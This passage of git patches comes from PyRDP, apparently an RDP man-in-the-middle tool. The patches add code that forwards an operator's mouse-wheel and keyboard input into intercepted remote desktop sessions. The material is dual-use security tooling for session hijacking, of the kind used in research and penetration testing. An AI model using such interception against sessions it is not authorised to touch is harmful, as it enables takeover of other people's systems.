QRemoteDesktop + + +class RDPMITMWidget(QRemoteDesktop): + def __init__(self, width: int, height: int, layer: PlayerLayer, parent: Optional[QWidget] = None): + super().__init__(width, height, parent = parent) + self.layer = layer + self.handleEvents = False + self.log = logging.getLogger(LOGGER_NAMES.PLAYER) + + def getTimetamp(self) -> int: + return int(round(time.time() * 1000)) + + def getMousePosition(self, event: QMouseEvent) -> (int, int): + return max(event.x(), 0), max(event.y(), 0) + + def mouseMoveEvent(self, event: QMouseEvent): + if not self.handleEvents: + return + + x, y = self.getMousePosition(event) + + pdu = PlayerMouseMovePDU(self.getTimetamp(), x, y) + self.layer.sendPDU(pdu) + + def mousePressEvent(self, event: QMouseEvent): + self.handleMouseButton(event, True) + + def mouseReleaseEvent(self, event: QMouseEvent): + self.handleMouseButton(event, False) + + def handleMouseButton(self, event: QMouseEvent, pressed: bool): + x, y = self.getMousePosition(event) + button = event.button() + + mapping = { + Qt.MouseButton.LeftButton: MouseButton.LEFT_BUTTON, + Qt.MouseButton.RightButton: MouseButton.RIGHT_BUTTON, + Qt.MouseButton.MiddleButton: MouseButton.MIDDLE_BUTTON, + } + + if button not in mapping: + return + + pdu = PlayerMouseButtonPDU(self.getTimetamp(), x, y, mapping[button], pressed) + self.layer.sendPDU(pdu) \ No newline at end of file diff --git a/pyrdp/player/__init__.py b/pyrdp/player/__init__.py index 831c80f12..910c1bca3 100644 --- a/pyrdp/player/__init__.py +++ b/pyrdp/player/__init__.py @@ -11,6 +11,7 @@ from pyrdp.player.LiveWindow import LiveWindow from pyrdp.player.MainWindow import MainWindow from pyrdp.player.PlayerHandler import PlayerHandler +from pyrdp.player.PlayerLayerSet import AsyncIOTCPLayer, TwistedPlayerLayerSet from pyrdp.player.Replay import Replay from pyrdp.player.ReplayBar import ReplayBar from pyrdp.player.ReplayTab import ReplayTab From a2437fbf08e3a5dae9a10847c566d30c2f45afa0 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Tue, 26 Mar 2019 14:56:08 -0400 Subject: [PATCH 011/113] Send wheel events to MITM --- pyrdp/parser/player.py | 21 +++++++++++++++++---- pyrdp/pdu/__init__.py | 2 +- pyrdp/pdu/player.py | 15 ++++++++++++++- pyrdp/player/RDPMITMWidget.py | 18 ++++++++++++++---- 4 files changed, 46 insertions(+), 10 deletions(-) diff --git a/pyrdp/parser/player.py b/pyrdp/parser/player.py index d7d87d604..c33108827 100644 --- a/pyrdp/parser/player.py +++ b/pyrdp/parser/player.py @@ -1,10 +1,10 @@ from io import BytesIO -from pyrdp.core import Uint16LE, Uint64LE, Uint8 +from pyrdp.core import Int16LE, Uint16LE, Uint64LE, Uint8 from pyrdp.enum import PlayerPDUType from pyrdp.enum.player import MouseButton from pyrdp.parser.segmentation import SegmentationParser -from pyrdp.pdu import PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerPDU +from pyrdp.pdu import PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU, PlayerPDU class PlayerParser(SegmentationParser): @@ -14,11 +14,13 @@ def __init__(self): self.parsers = { PlayerPDUType.MOUSE_MOVE: self.parseMouseMove, PlayerPDUType.MOUSE_BUTTON: self.parseMouseButton, + PlayerPDUType.MOUSE_WHEEL: self.parseMouseWheel, } self.writers = { PlayerPDUType.MOUSE_MOVE: self.writeMouseMove, - PlayerPDUType.MOUSE_BUTTON: self.writeMouseButton + PlayerPDUType.MOUSE_BUTTON: self.writeMouseButton, + PlayerPDUType.MOUSE_WHEEL: self.writeMouseWheel, } def getPDULength(self, data: bytes) -> int: @@ -86,4 +88,15 @@ def parseMouseButton(self, stream: BytesIO, timestamp: int) -> PlayerMouseButton def writeMouseButton(self, pdu: PlayerMouseButtonPDU, stream: BytesIO): self.writeMousePosition(pdu.x, pdu.y, stream) Uint8.pack(pdu.button.value, stream) - Uint8.pack(int(pdu.pressed), stream) \ No newline at end of file + Uint8.pack(int(pdu.pressed), stream) + + def parseMouseWheel(self, stream: BytesIO, timestamp: int) -> PlayerMouseWheelPDU: + x, y = self.parseMousePosition(stream) + delta = Int16LE.unpack(stream) + horizontal = bool(Uint8.unpack(stream)) + return PlayerMouseWheelPDU(timestamp, x, y, delta, horizontal) + + def writeMouseWheel(self, pdu: PlayerMouseWheelPDU, stream: BytesIO): + self.writeMousePosition(pdu.x, pdu.y, stream) + Int16LE.pack(pdu.delta, stream) + Uint8.pack(int(pdu.horizontal), stream) \ No newline at end of file diff --git a/pyrdp/pdu/__init__.py b/pyrdp/pdu/__init__.py index 3bcf93e8a..b562d7695 100644 --- a/pyrdp/pdu/__init__.py +++ b/pyrdp/pdu/__init__.py @@ -9,7 +9,7 @@ MCSChannelJoinRequestPDU, MCSConnectInitialPDU, MCSConnectResponsePDU, MCSDisconnectProviderUltimatumPDU, \ MCSDomainParams, MCSErectDomainRequestPDU, MCSPDU, MCSSendDataIndicationPDU, MCSSendDataRequestPDU from pyrdp.pdu.pdu import PDU -from pyrdp.pdu.player import PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerPDU +from pyrdp.pdu.player import PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU, PlayerPDU from pyrdp.pdu.rdp.bitmap import BitmapUpdateData from pyrdp.pdu.rdp.capability import BitmapCacheHostSupportCapability, BitmapCacheV1Capability, BitmapCacheV2Capability, \ BitmapCapability, BitmapCodec, BitmapCodecsCapability, BrushCapability, Capability, ClientCapsContainer, \ diff --git a/pyrdp/pdu/player.py b/pyrdp/pdu/player.py index ec295d766..940c60137 100644 --- a/pyrdp/pdu/player.py +++ b/pyrdp/pdu/player.py @@ -42,4 +42,17 @@ def __init__(self, timestamp: int, x: int, y: int, button: MouseButton, pressed: self.x = x self.y = y self.button = button - self.pressed = pressed \ No newline at end of file + self.pressed = pressed + + +class PlayerMouseWheelPDU(PlayerPDU): + """ + PDU definition for mouse wheel events coming from the player. + """ + + def __init__(self, timestamp: int, x: int, y: int, delta: int, horizontal: bool): + super().__init__(PlayerPDUType.MOUSE_WHEEL, timestamp, b"") + self.x = x + self.y = y + self.delta = delta + self.horizontal = horizontal \ No newline at end of file diff --git a/pyrdp/player/RDPMITMWidget.py b/pyrdp/player/RDPMITMWidget.py index ede216ef5..57bb01d83 100644 --- a/pyrdp/player/RDPMITMWidget.py +++ b/pyrdp/player/RDPMITMWidget.py @@ -1,15 +1,15 @@ import logging import time -from typing import Optional +from typing import Optional, Union from PySide2.QtCore import Qt -from PySide2.QtGui import QMouseEvent +from PySide2.QtGui import QMouseEvent, QWheelEvent from PySide2.QtWidgets import QWidget from pyrdp.enum import MouseButton from pyrdp.layer import PlayerLayer from pyrdp.logging import LOGGER_NAMES -from pyrdp.pdu import PlayerMouseButtonPDU, PlayerMouseMovePDU +from pyrdp.pdu import PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU from pyrdp.ui import QRemoteDesktop @@ -23,7 +23,7 @@ def __init__(self, width: int, height: int, layer: PlayerLayer, parent: Optional def getTimetamp(self) -> int: return int(round(time.time() * 1000)) - def getMousePosition(self, event: QMouseEvent) -> (int, int): + def getMousePosition(self, event: Union[QMouseEvent, QWheelEvent]) -> (int, int): return max(event.x(), 0), max(event.y(), 0) def mouseMoveEvent(self, event: QMouseEvent): @@ -55,4 +55,14 @@ def handleMouseButton(self, event: QMouseEvent, pressed: bool): return pdu = PlayerMouseButtonPDU(self.getTimetamp(), x, y, mapping[button], pressed) + self.layer.sendPDU(pdu) + + def wheelEvent(self, event: QWheelEvent): + x, y = self.getMousePosition(event) + delta = event.delta() + horizontal = event.orientation() == Qt.Orientation.Horizontal + + event.setAccepted(True) + + pdu = PlayerMouseWheelPDU(self.getTimetamp(), x, y, delta, horizontal) self.layer.sendPDU(pdu) \ No newline at end of file From 83a6489c1ad56a05e6a6d78b4a957128ef80fe10 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Tue, 26 Mar 2019 15:24:02 -0400 Subject: [PATCH 012/113] Send attacker wheel events to server --- pyrdp/mitm/AttackerMITM.py | 43 ++++++++++++++++++++++++++++---------- pyrdp/pdu/__init__.py | 5 +++-- 2 files changed, 35 insertions(+), 13 deletions(-) diff --git a/pyrdp/mitm/AttackerMITM.py b/pyrdp/mitm/AttackerMITM.py index 9c6218f0e..1bac71f4f 100644 --- a/pyrdp/mitm/AttackerMITM.py +++ b/pyrdp/mitm/AttackerMITM.py @@ -8,13 +8,15 @@ from pyrdp.enum import FastPathInputType, MouseButton, PlayerPDUType, PointerFlag from pyrdp.layer import FastPathLayer, PlayerLayer -from pyrdp.pdu import FastPathMouseEvent, FastPathPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerPDU +from pyrdp.pdu import FastPathInputEvent, FastPathMouseEvent, FastPathPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, \ + PlayerMouseWheelPDU, PlayerPDU from pyrdp.recording import Recorder class AttackerMITM: """ - MITM component for commands coming from the player. + MITM component for commands coming from the player. The job of this component is just to adapt the format of events + received to the format expected by RDP. """ def __init__(self, server: FastPathLayer, attacker: PlayerLayer, log: LoggerAdapter, recorder: Recorder): @@ -37,6 +39,7 @@ def __init__(self, server: FastPathLayer, attacker: PlayerLayer, log: LoggerAdap self.handlers = { PlayerPDUType.MOUSE_MOVE: self.handleMouseMove, PlayerPDUType.MOUSE_BUTTON: self.handleMouseButton, + PlayerPDUType.MOUSE_WHEEL: self.handleMouseWheel, } @@ -45,17 +48,20 @@ def onPDUReceived(self, pdu: PlayerPDU): self.handlers[pdu.header](pdu) + def sendInputEvents(self, events: [FastPathInputEvent]): + pdu = FastPathPDU(0, events) + self.recorder.record(pdu, PlayerPDUType.FAST_PATH_INPUT) + self.server.sendPDU(pdu) + + def handleMouseMove(self, pdu: PlayerMouseMovePDU): eventHeader = FastPathInputType.FASTPATH_INPUT_EVENT_MOUSE << 5 flags = PointerFlag.PTRFLAGS_MOVE x = pdu.x y = pdu.y - event = FastPathMouseEvent(eventHeader, flags, x, y) - pduHeader = 0 - pdu = FastPathPDU(pduHeader, [event]) - self.recorder.record(pdu, PlayerPDUType.FAST_PATH_INPUT) - self.server.sendPDU(pdu) + event = FastPathMouseEvent(eventHeader, flags, x, y) + self.sendInputEvents([event]) def handleMouseButton(self, pdu: PlayerMouseButtonPDU): @@ -72,9 +78,24 @@ def handleMouseButton(self, pdu: PlayerMouseButtonPDU): flags = mapping[pdu.button] | (PointerFlag.PTRFLAGS_DOWN if pdu.pressed else 0) x = pdu.x y = pdu.y + event = FastPathMouseEvent(eventHeader, flags, x, y) + self.sendInputEvents([event]) - pduHeader = 0 - pdu = FastPathPDU(pduHeader, [event]) - self.recorder.record(pdu, PlayerPDUType.FAST_PATH_INPUT) - self.server.sendPDU(pdu) \ No newline at end of file + + def handleMouseWheel(self, pdu: PlayerMouseWheelPDU): + eventHeader = FastPathInputType.FASTPATH_INPUT_EVENT_MOUSE << 5 + flags = PointerFlag.PTRFLAGS_WHEEL + x = pdu.x + y = pdu.y + + if pdu.delta < 0: + flags |= PointerFlag.PTRFLAGS_WHEEL_NEGATIVE + + if pdu.horizontal: + flags |= PointerFlag.PTRFLAGS_HWHEEL + + flags |= abs(pdu.delta) & PointerFlag.WheelRotationMask + + event = FastPathMouseEvent(eventHeader, flags, x, y) + self.sendInputEvents([event]) \ No newline at end of file diff --git a/pyrdp/pdu/__init__.py b/pyrdp/pdu/__init__.py index b562d7695..5bbb630e8 100644 --- a/pyrdp/pdu/__init__.py +++ b/pyrdp/pdu/__init__.py @@ -23,8 +23,9 @@ from pyrdp.pdu.rdp.connection import ClientChannelDefinition, ClientClusterData, ClientCoreData, ClientDataPDU, \ ClientNetworkData, ClientSecurityData, ProprietaryCertificate, ServerCertificate, ServerCoreData, ServerDataPDU, \ ServerNetworkData, ServerSecurityData -from pyrdp.pdu.rdp.fastpath import FastPathBitmapEvent, FastPathEvent, FastPathEventRaw, FastPathMouseEvent, \ - FastPathOrdersEvent, FastPathOutputEvent, FastPathPDU, FastPathScanCodeEvent, SecondaryDrawingOrder +from pyrdp.pdu.rdp.fastpath import FastPathBitmapEvent, FastPathEvent, FastPathEventRaw, FastPathInputEvent, \ + FastPathMouseEvent, FastPathOrdersEvent, FastPathOutputEvent, FastPathOutputEvent, FastPathPDU, \ + FastPathScanCodeEvent, SecondaryDrawingOrder from pyrdp.pdu.rdp.input import ExtendedMouseEvent, KeyboardEvent, MouseEvent, SlowPathInput, SynchronizeEvent, \ UnicodeKeyboardEvent, UnusedEvent from pyrdp.pdu.rdp.licensing import LicenseBinaryBlob, LicenseErrorAlertPDU, LicensingPDU From 6059b51a2a34f31690518d6355046f6f5d6c1db2 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Tue, 26 Mar 2019 17:37:33 -0400 Subject: [PATCH 013/113] Send keyboard events to the MITM --- pyrdp/enum/player.py | 1 + pyrdp/pdu/__init__.py | 2 +- pyrdp/pdu/player.py | 13 ++- pyrdp/player/RDPMITMWidget.py | 175 +++++++++++++++++++++++++++++++++- 4 files changed, 186 insertions(+), 5 deletions(-) diff --git a/pyrdp/enum/player.py b/pyrdp/enum/player.py index ede71da78..7c15a72e1 100644 --- a/pyrdp/enum/player.py +++ b/pyrdp/enum/player.py @@ -16,6 +16,7 @@ class PlayerPDUType(IntEnum): MOUSE_MOVE = 8 # Mouse move event from the player MOUSE_BUTTON = 9 # Mouse button event from the player MOUSE_WHEEL = 10 # Mouse wheel event from the player + KEYBOARD = 11 # Keyboard event from the player class MouseButton(IntEnum): diff --git a/pyrdp/pdu/__init__.py b/pyrdp/pdu/__init__.py index 5bbb630e8..012b11101 100644 --- a/pyrdp/pdu/__init__.py +++ b/pyrdp/pdu/__init__.py @@ -9,7 +9,7 @@ MCSChannelJoinRequestPDU, MCSConnectInitialPDU, MCSConnectResponsePDU, MCSDisconnectProviderUltimatumPDU, \ MCSDomainParams, MCSErectDomainRequestPDU, MCSPDU, MCSSendDataIndicationPDU, MCSSendDataRequestPDU from pyrdp.pdu.pdu import PDU -from pyrdp.pdu.player import PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU, PlayerPDU +from pyrdp.pdu.player import PlayerKeyboardPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU, PlayerPDU from pyrdp.pdu.rdp.bitmap import BitmapUpdateData from pyrdp.pdu.rdp.capability import BitmapCacheHostSupportCapability, BitmapCacheV1Capability, BitmapCacheV2Capability, \ BitmapCapability, BitmapCodec, BitmapCodecsCapability, BrushCapability, Capability, ClientCapsContainer, \ diff --git a/pyrdp/pdu/player.py b/pyrdp/pdu/player.py index 940c60137..de714e302 100644 --- a/pyrdp/pdu/player.py +++ b/pyrdp/pdu/player.py @@ -55,4 +55,15 @@ def __init__(self, timestamp: int, x: int, y: int, delta: int, horizontal: bool) self.x = x self.y = y self.delta = delta - self.horizontal = horizontal \ No newline at end of file + self.horizontal = horizontal + + +class PlayerKeyboardPDU(PlayerPDU): + """ + PDU definition for keyboard events coming from the player. + """ + + def __init__(self, timestamp: int, code: int, released: bool): + super().__init__(PlayerPDUType.KEYBOARD, timestamp, b"") + self.code = code + self.released = released \ No newline at end of file diff --git a/pyrdp/player/RDPMITMWidget.py b/pyrdp/player/RDPMITMWidget.py index 57bb01d83..3f11b971d 100644 --- a/pyrdp/player/RDPMITMWidget.py +++ b/pyrdp/player/RDPMITMWidget.py @@ -2,27 +2,156 @@ import time from typing import Optional, Union -from PySide2.QtCore import Qt -from PySide2.QtGui import QMouseEvent, QWheelEvent +from PySide2.QtCore import QEvent, QObject, Qt +from PySide2.QtGui import QKeyEvent, QMouseEvent, QWheelEvent from PySide2.QtWidgets import QWidget from pyrdp.enum import MouseButton from pyrdp.layer import PlayerLayer from pyrdp.logging import LOGGER_NAMES -from pyrdp.pdu import PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU +from pyrdp.pdu import PlayerKeyboardPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU from pyrdp.ui import QRemoteDesktop class RDPMITMWidget(QRemoteDesktop): + """ + RDP Widget that handles mouse and keyboard events and sends them to the MITM server. + """ + + SCANCODE_MAPPING = { + 0x01: Qt.Key.Key_Escape, + 0x02: [Qt.Key.Key_1, Qt.Key.Key_Exclam], + 0x03: [Qt.Key.Key_2, Qt.Key.Key_At], + 0x04: [Qt.Key.Key_3, Qt.Key.Key_NumberSign], + 0x05: [Qt.Key.Key_4, Qt.Key.Key_Dollar], + 0x06: [Qt.Key.Key_5, Qt.Key.Key_Percent], + 0x07: [Qt.Key.Key_6, Qt.Key.Key_AsciiCircum], + 0x08: [Qt.Key.Key_7, Qt.Key.Key_Ampersand], + 0x09: [Qt.Key.Key_8, Qt.Key.Key_Asterisk], + 0x0A: [Qt.Key.Key_9, Qt.Key.Key_ParenLeft], + 0x0B: [Qt.Key.Key_0, Qt.Key.Key_ParenRight], + 0x0C: [Qt.Key.Key_Minus, Qt.Key.Key_Underscore], + 0x0D: [Qt.Key.Key_Equal, Qt.Key.Key_Plus], + 0x0E: Qt.Key.Key_Backspace, + 0x0F: Qt.Key.Key_Tab, + 0x10: Qt.Key.Key_Q, + 0x11: Qt.Key.Key_W, + 0x12: Qt.Key.Key_E, + 0x13: Qt.Key.Key_R, + 0x14: Qt.Key.Key_T, + 0x15: Qt.Key.Key_Y, + 0x16: Qt.Key.Key_U, + 0x17: Qt.Key.Key_I, + 0x18: Qt.Key.Key_O, + 0x19: Qt.Key.Key_P, + 0x1A: [Qt.Key.Key_BracketLeft, Qt.Key.Key_BraceLeft], + 0x1B: [Qt.Key.Key_BracketRight, Qt.Key.Key_BraceRight], + 0x1C: Qt.Key.Key_Return, + 0x1D: Qt.Key.Key_Control, + 0x1E: Qt.Key.Key_A, + 0x1F: Qt.Key.Key_S, + 0x20: Qt.Key.Key_D, + 0x21: Qt.Key.Key_F, + 0x22: Qt.Key.Key_G, + 0x23: Qt.Key.Key_H, + 0x24: Qt.Key.Key_J, + 0x25: Qt.Key.Key_K, + 0x26: Qt.Key.Key_L, + 0x27: [Qt.Key.Key_Semicolon, Qt.Key.Key_Colon], + 0x28: [Qt.Key.Key_Apostrophe, Qt.Key.Key_QuoteDbl], + 0x29: [Qt.Key.Key_QuoteLeft, Qt.Key.Key_AsciiTilde], + 0x2A: Qt.Key.Key_Shift, + 0x2B: [Qt.Key.Key_Backslash, Qt.Key.Key_Bar], + 0x2C: Qt.Key.Key_Z, + 0x2D: Qt.Key.Key_X, + 0x2E: Qt.Key.Key_C, + 0x2F: Qt.Key.Key_V, + 0x30: Qt.Key.Key_B, + 0x31: Qt.Key.Key_N, + 0x32: Qt.Key.Key_M, + 0x33: [Qt.Key.Key_Comma, Qt.Key.Key_Less], + 0x34: [Qt.Key.Key_Period, Qt.Key.Key_Greater], + 0x35: [Qt.Key.Key_Slash, Qt.Key.Key_Question], + 0x37: Qt.Key.Key_Print, + 0x38: [Qt.Key.Key_Alt, Qt.Key.Key_AltGr], + 0x39: Qt.Key.Key_Space, + 0x3A: Qt.Key.Key_CapsLock, + 0x3B: Qt.Key.Key_F1, + 0x3C: Qt.Key.Key_F2, + 0x3D: Qt.Key.Key_F3, + 0x3E: Qt.Key.Key_F4, + 0x3F: Qt.Key.Key_F5, + 0x40: Qt.Key.Key_F6, + 0x41: Qt.Key.Key_F7, + 0x42: Qt.Key.Key_F8, + 0x43: Qt.Key.Key_F9, + 0x44: Qt.Key.Key_F10, + 0x45: Qt.Key.Key_NumLock, + 0x46: Qt.Key.Key_ScrollLock, + 0x47: Qt.Key.Key_Home, + 0x48: Qt.Key.Key_Up, + 0x49: Qt.Key.Key_PageUp, + 0x4b: Qt.Key.Key_Left, + 0x4d: Qt.Key.Key_Right, + 0x4f: Qt.Key.Key_End, + 0x50: Qt.Key.Key_Down, + 0x51: Qt.Key.Key_PageDown, + 0x52: Qt.Key.Key_Insert, + 0x53: Qt.Key.Key_Delete, + 0x54: Qt.Key.Key_SysReq, + 0x57: Qt.Key.Key_F11, + 0x58: Qt.Key.Key_F12, + 0x5b: Qt.Key.Key_Meta, + 0x5F: Qt.Key.Key_Sleep, + 0x62: Qt.Key.Key_Zoom, + 0x63: Qt.Key.Key_Help, + 0x64: Qt.Key.Key_F13, + 0x65: Qt.Key.Key_F14, + 0x66: Qt.Key.Key_F15, + 0x67: Qt.Key.Key_F16, + 0x68: Qt.Key.Key_F17, + 0x69: Qt.Key.Key_F18, + 0x6A: Qt.Key.Key_F19, + 0x6B: Qt.Key.Key_F20, + 0x6C: Qt.Key.Key_F21, + 0x6D: Qt.Key.Key_F22, + 0x6E: Qt.Key.Key_F23, + 0x6F: Qt.Key.Key_F24, + 0x70: Qt.Key.Key_Hiragana, + 0x71: Qt.Key.Key_Kanji, + 0x72: Qt.Key.Key_Hangul, + } + + SCANCODE_MAPPING_NUMPAD = { + 0x47: Qt.Key.Key_7, + 0x48: Qt.Key.Key_8, + 0x49: Qt.Key.Key_9, + 0x4A: Qt.Key.Key_Minus, + 0x4B: Qt.Key.Key_4, + 0x4C: Qt.Key.Key_5, + 0x4D: Qt.Key.Key_6, + 0x4E: Qt.Key.Key_Plus, + 0x4F: Qt.Key.Key_1, + 0x50: Qt.Key.Key_2, + 0x51: Qt.Key.Key_3, + 0x52: Qt.Key.Key_0, + 0x53: Qt.Key.Key_Period, + } + + def __init__(self, width: int, height: int, layer: PlayerLayer, parent: Optional[QWidget] = None): super().__init__(width, height, parent = parent) self.layer = layer self.handleEvents = False self.log = logging.getLogger(LOGGER_NAMES.PLAYER) + self.setFocusPolicy(Qt.FocusPolicy.ClickFocus) + self.installEventFilter(self) + def getTimetamp(self) -> int: return int(round(time.time() * 1000)) + def getMousePosition(self, event: Union[QMouseEvent, QWheelEvent]) -> (int, int): return max(event.x(), 0), max(event.y(), 0) @@ -65,4 +194,44 @@ def wheelEvent(self, event: QWheelEvent): event.setAccepted(True) pdu = PlayerMouseWheelPDU(self.getTimetamp(), x, y, delta, horizontal) + self.layer.sendPDU(pdu) + + + # We need this to capture tab key events + def eventFilter(self, obj, event): + if event.type() == QEvent.KeyPress: + self.keyPressEvent(event) + return True + + return QObject.eventFilter(self, obj, event) + + def findScanCode(self, event: QKeyEvent) -> Optional[int]: + if event.modifiers() & Qt.KeypadModifier != 0: + mapping = RDPMITMWidget.SCANCODE_MAPPING_NUMPAD + else: + mapping = RDPMITMWidget.SCANCODE_MAPPING + + key = event.key() + + for k, v in mapping.items(): + if isinstance(v, list) and key in v: + return k + elif v == key: + return k + + return None + + def keyPressEvent(self, event: QKeyEvent): + self.handleKeyEvent(event, False) + + def keyReleaseEvent(self, event: QKeyEvent): + self.handleKeyEvent(event, True) + + def handleKeyEvent(self, event: QKeyEvent, released: bool): + scanCode = self.findScanCode(event) + + if scanCode is not None: + event.setAccepted(True) + + pdu = PlayerKeyboardPDU(self.getTimetamp(), scanCode, released) self.layer.sendPDU(pdu) \ No newline at end of file From c1f2c07380a39aac93a2cc27d7f966dd19b64fd2 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Tue, 26 Mar 2019 17:51:16 -0400 Subject: [PATCH 014/113] Fix fast path scancode event writing --- pyrdp/parser/rdp/fastpath.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyrdp/parser/rdp/fastpath.py b/pyrdp/parser/rdp/fastpath.py index 9503d443d..a28c7651e 100644 --- a/pyrdp/parser/rdp/fastpath.py +++ b/pyrdp/parser/rdp/fastpath.py @@ -280,7 +280,7 @@ def write(self, event: FastPathEvent) -> bytes: def writeScanCodeEvent(self, event: FastPathScanCodeEvent) -> bytes: raw_data = BytesIO() - Uint8.pack(event.rawHeaderByte, raw_data) + Uint8.pack(event.rawHeaderByte | int(event.isReleased), raw_data) Uint8.pack(event.scancode, raw_data) return raw_data.getvalue() From 264d12551d4af3c09e894ba79099355969e3761c Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Tue, 26 Mar 2019 17:52:44 -0400 Subject: [PATCH 015/113] Send keyboard commands to the server --- pyrdp/mitm/AttackerMITM.py | 12 +++++++++--- pyrdp/parser/player.py | 17 +++++++++++++++-- 2 files changed, 24 insertions(+), 5 deletions(-) diff --git a/pyrdp/mitm/AttackerMITM.py b/pyrdp/mitm/AttackerMITM.py index 1bac71f4f..ece9acb8b 100644 --- a/pyrdp/mitm/AttackerMITM.py +++ b/pyrdp/mitm/AttackerMITM.py @@ -6,10 +6,10 @@ from logging import LoggerAdapter -from pyrdp.enum import FastPathInputType, MouseButton, PlayerPDUType, PointerFlag +from pyrdp.enum import FastPathInputType, KeyboardFlag, MouseButton, PlayerPDUType, PointerFlag from pyrdp.layer import FastPathLayer, PlayerLayer -from pyrdp.pdu import FastPathInputEvent, FastPathMouseEvent, FastPathPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, \ - PlayerMouseWheelPDU, PlayerPDU +from pyrdp.pdu import FastPathInputEvent, FastPathMouseEvent, FastPathPDU, FastPathScanCodeEvent, PlayerKeyboardPDU, \ + PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU, PlayerPDU from pyrdp.recording import Recorder @@ -40,6 +40,7 @@ def __init__(self, server: FastPathLayer, attacker: PlayerLayer, log: LoggerAdap PlayerPDUType.MOUSE_MOVE: self.handleMouseMove, PlayerPDUType.MOUSE_BUTTON: self.handleMouseButton, PlayerPDUType.MOUSE_WHEEL: self.handleMouseWheel, + PlayerPDUType.KEYBOARD: self.handleKeyboard, } @@ -98,4 +99,9 @@ def handleMouseWheel(self, pdu: PlayerMouseWheelPDU): flags |= abs(pdu.delta) & PointerFlag.WheelRotationMask event = FastPathMouseEvent(eventHeader, flags, x, y) + self.sendInputEvents([event]) + + + def handleKeyboard(self, pdu: PlayerKeyboardPDU): + event = FastPathScanCodeEvent(0, pdu.code, pdu.released) self.sendInputEvents([event]) \ No newline at end of file diff --git a/pyrdp/parser/player.py b/pyrdp/parser/player.py index c33108827..4f94db559 100644 --- a/pyrdp/parser/player.py +++ b/pyrdp/parser/player.py @@ -4,7 +4,7 @@ from pyrdp.enum import PlayerPDUType from pyrdp.enum.player import MouseButton from pyrdp.parser.segmentation import SegmentationParser -from pyrdp.pdu import PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU, PlayerPDU +from pyrdp.pdu import PlayerKeyboardPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU, PlayerPDU class PlayerParser(SegmentationParser): @@ -15,12 +15,14 @@ def __init__(self): PlayerPDUType.MOUSE_MOVE: self.parseMouseMove, PlayerPDUType.MOUSE_BUTTON: self.parseMouseButton, PlayerPDUType.MOUSE_WHEEL: self.parseMouseWheel, + PlayerPDUType.KEYBOARD: self.parseKeyboard, } self.writers = { PlayerPDUType.MOUSE_MOVE: self.writeMouseMove, PlayerPDUType.MOUSE_BUTTON: self.writeMouseButton, PlayerPDUType.MOUSE_WHEEL: self.writeMouseWheel, + PlayerPDUType.KEYBOARD: self.writeKeyboard, } def getPDULength(self, data: bytes) -> int: @@ -63,6 +65,7 @@ def write(self, pdu: PlayerPDU) -> bytes: return stream.getvalue() + def parseMousePosition(self, stream: BytesIO) -> (int, int): x = Uint16LE.unpack(stream) y = Uint16LE.unpack(stream) @@ -99,4 +102,14 @@ def parseMouseWheel(self, stream: BytesIO, timestamp: int) -> PlayerMouseWheelPD def writeMouseWheel(self, pdu: PlayerMouseWheelPDU, stream: BytesIO): self.writeMousePosition(pdu.x, pdu.y, stream) Int16LE.pack(pdu.delta, stream) - Uint8.pack(int(pdu.horizontal), stream) \ No newline at end of file + Uint8.pack(int(pdu.horizontal), stream) + + + def parseKeyboard(self, stream: BytesIO, timestamp: int): + code = Uint16LE.unpack(stream) + released = bool(Uint8.unpack(stream)) + return PlayerKeyboardPDU(timestamp, code, released) + + def writeKeyboard(self, pdu: PlayerKeyboardPDU, stream: BytesIO): + Uint16LE.pack(pdu.code, stream) + Uint8.pack(int(pdu.released), stream) \ No newline at end of file From 89a3273d209a95463674a2634692f1f8ac269349 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Wed, 27 Mar 2019 10:04:34 -0400 Subject: [PATCH 016/113] Move Ctrl+W shortcut to ReplayWindow --- pyrdp/player/BaseWindow.py | 8 +------- pyrdp/player/ReplayWindow.py | 10 ++++++++-- 2 files changed, 9 insertions(+), 9 deletions(-) diff --git a/pyrdp/player/BaseWindow.py b/pyrdp/player/BaseWindow.py index 1f6f174c0..356a307ab 100644 --- a/pyrdp/player/BaseWindow.py +++ b/pyrdp/player/BaseWindow.py @@ -6,8 +6,7 @@ import logging -from PySide2.QtGui import QKeySequence -from PySide2.QtWidgets import QShortcut, QTabWidget, QWidget +from PySide2.QtWidgets import QTabWidget, QWidget from pyrdp.logging import LOGGER_NAMES @@ -20,16 +19,11 @@ class BaseWindow(QTabWidget): def __init__(self, parent: QWidget = None, maxTabCount = 250): super().__init__(parent) - self.closeTabShortcut = QShortcut(QKeySequence("Ctrl+W"), self, self.closeCurrentTab) self.maxTabCount = maxTabCount self.setTabsClosable(True) self.tabCloseRequested.connect(self.onTabClosed) self.log = logging.getLogger(LOGGER_NAMES.PLAYER) - def closeCurrentTab(self): - if self.count() > 0: - self.onTabClosed(self.currentIndex()) - def onTabClosed(self, index): """ Gracefully closes the tab by calling the onClose method diff --git a/pyrdp/player/ReplayWindow.py b/pyrdp/player/ReplayWindow.py index 94f48c6d7..30a001c88 100644 --- a/pyrdp/player/ReplayWindow.py +++ b/pyrdp/player/ReplayWindow.py @@ -1,4 +1,5 @@ -from PySide2.QtWidgets import QWidget +from PySide2.QtGui import QKeySequence +from 